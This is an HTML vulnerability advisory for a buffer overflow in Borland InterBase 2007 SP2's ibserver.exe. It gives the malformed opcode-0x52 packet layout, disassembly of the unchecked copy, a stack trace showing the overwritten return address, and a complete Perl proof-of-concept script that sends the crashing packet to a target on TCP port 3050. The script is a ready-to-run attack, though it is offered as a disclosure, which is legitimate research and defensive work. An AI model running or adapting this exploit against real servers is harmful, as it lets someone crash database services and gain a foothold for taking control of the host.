<DIV><STRONG>Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC</STRONG></DIV>
<DIV> </DIV>
<DIV><STRONG>Affected Software:</STRONG><BR> Borland InterBase 2007 Service Pack 2.<BR> ibserver.exe version 8.0.0123</DIV>
<DIV><STRONG>Severity:</STRONG><BR> High</DIV>
<DIV><STRONG>Summary:</STRONG><BR> There exists a vulnerability in Borland InterBase 2007.<BR> The attacker who successfully exploited this vulnerability can gain control of vulnerable systems.</DIV>
<DIV><STRONG>Details:</STRONG><BR> There exists a buffer overflow vulnerability in "ibserver.exe" which is contained in Borland InterBase 2007 Service Pack 2.<BR> <BR> The vulnerable opcode is 0x52. When sending some malformed data as below to TCP port 3050,<BR> | 4bytes Opcode | "\x00\x00\x00\x52\"<BR> | 4bytes Unknow | "\xFF\xFF\xFF\xFF"<BR> | 4bytes Length1 | "\x00\x00\x03\xE8"<BR> | Data1 | "\x41"x1000<BR> | 4bytes Length2 | "\x00\x00\x00\x10"<BR> | Data2 | "\x42"x16<BR> <BR> InterBase ibserver service will terminate and reboot. It results in the return address be overwritten as following.</DIV>
<DIV>.text:0041460F mov ecx, [ebp+arg_4]<BR>.text:00414612 xor edx, edx<BR>.text:00414614 mov dx, [ecx]<BR>.text:00414617 push edx<BR>.text:00414618 mov eax, [ebp+arg_4]<BR>.text:0041461B mov ecx, [eax+4]<BR>.text:0041461E push ecx // | Data1 | "\x41"x1000<BR>.text:0041461F mov edx, [ebp+arg_0]<BR>.text:00414622 push edx<BR>.text:00414623 mov eax, [ebp+arg_0]<BR>.text:00414626 mov ecx, [eax+4]<BR>.text:00414629 call dword ptr [ecx+8] //call function 411136 (strcpy)</DIV>
<DIV><BR>.text:00411136 push ebp<BR>.text:00411137 mov ebp, esp<BR>.text:00411139 push ecx<BR>.text:0041113A push esi<BR>.text:0041113B push edi<BR>......<BR>.text:00411157 mov ecx, [ebp+loop_count]<BR>.text:0041115A mov eax, [ebp+recv_info_struct]<BR>.text:0041115D mov esi, [eax+0Ch]<BR>.text:00411160 mov edi, [ebp+arg_4]<BR>.text:00411163 mov edx, ecx<BR>.text:00411165 shr ecx, 2<BR>.text:00411168 rep movsd </DIV>
<DIV> //copy data 1000 bytes 0x41,without boundary check<BR> //Buffer overflow take place</DIV>
<DIV>.text:0041116A mov ecx, edx<BR>.text:0041116C and ecx, 3<BR>.text:0041116F rep movsb</DIV>
<DIV> </DIV>
<DIV>:stack<BR> FrameEBP RetEIP Syms Symbol <BR> 013AF5EC 41414141 N ibserver!.text + 00026F68</DIV>
<DIV> </DIV>
<DIV>How to Reproduce:<BR> Run the POC as below:<BR> poc.pl victimAddress</DIV>
<DIV> </DIV>
<DIV>Discovered by:<BR> Liu Zhen Hua</DIV>
<DIV> </DIV>
<DIV>###############################################################################################################<BR># POC.pl #<BR>###############################################################################################################<BR>#!/usr/bin/perl -w<BR>#Author: Liu Zhen Hua <alau [at] 163.com> </DIV>
<DIV><BR>use IO::Socket;<BR>use strict;</DIV>
<DIV>my $host=$ARGV[0];</DIV>
<DIV>sub usage {<BR>print "usage: perl poc.pl serverip\n";<BR>}</DIV>
<DIV>if ($#ARGV < 0) {<BR>usage();<BR>exit(); <BR>}</DIV>
<DIV>my $victim = IO::Socket::INET->new(Proto=>'tcp',<BR> PeerAddr=>$host,<BR> PeerPort=>3050);</DIV>
<DIV>my $pad0 = "\x41"x1000; #"\x00\x00\x03\xE8"<BR>my $pad5 = "\x43"x16; </DIV>
<DIV>my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;</DIV>
<DIV>print $victim $exploit ;</DIV>
<DIV>print " + Malicious request sent ...\n";</DIV>
<DIV>sleep(1);</DIV>
<DIV>print "Done.\n";</DIV>
<DIV>close($victim);</DIV>
<DIV>exit;<BR></DIV>
<DIV> </DIV>
<DIV> </DIV><br><!-- footer --><br><hr>
<a style="font-size:14px;line-height:15px; color:#000; text-decoration:none" href="http://event.mail.163.com/chanel/click.htm?from=NO_26&domain=163" target="_blank"><span style="text-decoration:underline; color:blue">中 国 最 强 网 游 --- 网 易 梦 幻 西 游 ,166 万 玩 家 同 时 在 线</span> </a>